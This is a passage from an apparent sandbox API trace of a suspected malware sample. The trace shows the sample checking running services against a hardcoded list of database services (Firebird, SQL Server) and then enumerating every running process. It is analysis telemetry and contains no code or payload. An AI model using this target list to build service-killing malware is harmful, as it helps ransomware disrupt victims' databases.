	[0150.998] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0150.998] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0150.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0150.998] lstrlenW (lpString="NlaSvc") returned 6
	[0150.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0150.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0150.998] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0150.998] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0150.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0150.998] lstrlenW (lpString="nsi") returned 3
	[0150.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0150.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0150.998] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0150.998] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0150.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0150.998] lstrlenW (lpString="PcaSvc") returned 6
	[0150.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0150.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0150.998] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0150.998] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0150.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0150.998] lstrlenW (lpString="PlugPlay") returned 8
	[0150.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0150.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0150.998] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0150.998] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0150.998] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0150.998] lstrlenW (lpString="Power") returned 5
	[0150.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0150.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0150.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0150.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0150.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0150.999] lstrlenW (lpString="ProfSvc") returned 7
	[0150.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0150.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0150.999] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0150.999] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0150.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0150.999] lstrlenW (lpString="RpcEptMapper") returned 12
	[0150.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0150.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0150.999] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0150.999] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0150.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0150.999] lstrlenW (lpString="RpcSs") returned 5
	[0150.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0150.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0150.999] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0150.999] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0150.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0150.999] lstrlenW (lpString="SamSs") returned 5
	[0150.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0150.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0150.999] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0150.999] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0150.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0150.999] lstrlenW (lpString="Schedule") returned 8
	[0150.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0150.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0150.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0150.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0150.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0150.999] lstrlenW (lpString="SecurityHealthService") returned 21
	[0151.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0151.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0151.000] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0151.000] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0151.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0151.000] lstrlenW (lpString="SENS") returned 4
	[0151.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0151.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0151.000] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0151.000] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0151.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0151.000] lstrlenW (lpString="ShellHWDetection") returned 16
	[0151.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0151.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0151.000] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0151.000] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0151.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0151.000] lstrlenW (lpString="Spooler") returned 7
	[0151.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0151.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0151.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0151.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0151.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0151.000] lstrlenW (lpString="StateRepository") returned 15
	[0151.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0151.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0151.000] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0151.000] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0151.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0151.000] lstrlenW (lpString="SysMain") returned 7
	[0151.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0151.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0151.000] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0151.000] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0151.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0151.000] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0151.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0151.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0151.001] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0151.001] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0151.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0151.001] lstrlenW (lpString="Themes") returned 6
	[0151.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0151.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0151.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0151.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0151.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0151.001] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0151.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0151.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0151.001] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0151.001] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0151.001] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e52e8 | out: hHeap=0x5a0000) returned 1
	[0151.001] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240
	[0151.009] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0151.009] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0151.010] lstrlenW (lpString="System") returned 6
	[0151.010] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0151.010] lstrlenW (lpString="smss.exe") returned 8
	[0151.010] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0151.010] lstrlenW (lpString="csrss.exe") returned 9
	[0151.010] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0151.011] lstrlenW (lpString="wininit.exe") returned 11
	[0151.011] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0151.011] lstrlenW (lpString="csrss.exe") returned 9
	[0151.011] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0151.012] lstrlenW (lpString="winlogon.exe") returned 12
	[0151.012] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0151.012] lstrlenW (lpString="services.exe") returned 12
	[0151.012] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0151.012] lstrlenW (lpString="lsass.exe") returned 9
	[0151.012] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0151.013] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0151.013] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0151.014] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0151.014] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.014] lstrlenW (lpString="svchost.exe") returned 11
	[0151.014] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.014] lstrlenW (lpString="svchost.exe") returned 11
	[0151.015] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0151.015] lstrlenW (lpString="dwm.exe") returned 7
	[0151.015] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.015] lstrlenW (lpString="svchost.exe") returned 11
	[0151.015] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.016] lstrlenW (lpString="svchost.exe") returned 11
	[0151.016] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.016] lstrlenW (lpString="svchost.exe") returned 11
	[0151.016] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.017] lstrlenW (lpString="svchost.exe") returned 11
	[0151.017] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.017] lstrlenW (lpString="svchost.exe") returned 11
	[0151.017] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.017] lstrlenW (lpString="svchost.exe") returned 11
	[0151.017] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.018] lstrlenW (lpString="svchost.exe") returned 11
	[0151.018] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.018] lstrlenW (lpString="svchost.exe") returned 11
	[0151.018] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.019] lstrlenW (lpString="svchost.exe") returned 11
	[0151.019] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.020] lstrlenW (lpString="svchost.exe") returned 11
	[0151.020] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0151.020] lstrlenW (lpString="spoolsv.exe") returned 11
	[0151.020] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.021] lstrlenW (lpString="svchost.exe") returned 11
	[0151.021] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0151.021] lstrlenW (lpString="audiodg.exe") returned 11
	[0151.021] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0151.021] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0151.022] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0151.022] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0151.022] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0151.022] lstrlenW (lpString="Memory Compression") returned 18
	[0151.022] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0151.023] lstrlenW (lpString="sihost.exe") returned 10
	[0151.023] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.023] lstrlenW (lpString="svchost.exe") returned 11
	[0151.023] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0151.024] lstrlenW (lpString="taskhostw.exe") returned 13
	[0151.024] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0151.024] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0151.024] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0151.024] lstrlenW (lpString="taskhostw.exe") returned 13
	[0151.025] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0151.025] lstrlenW (lpString="userinit.exe") returned 12
	[0151.025] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0151.025] lstrlenW (lpString="explorer.exe") returned 12
	[0151.025] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0151.026] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0151.026] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0151.026] lstrlenW (lpString="SearchUI.exe") returned 12
	[0151.026] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0151.027] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0151.027] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1
	[0151.027] lstrlenW (lpString="mobsync.exe") returned 11
	[0151.027] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0151.027] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0151.027] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0151.028] lstrlenW (lpString="svchost.exe") returned 11
	[0151.028] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0151.028] lstrlenW (lpString="fvppjh.exe") returned 10
	[0151.028] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 0
	[0151.029] CloseHandle (hObject=0x240) returned 1
	[0151.029] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b7700 | out: hHeap=0x5a0000) returned 1
	[0151.029] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b7430 | out: hHeap=0x5a0000) returned 1
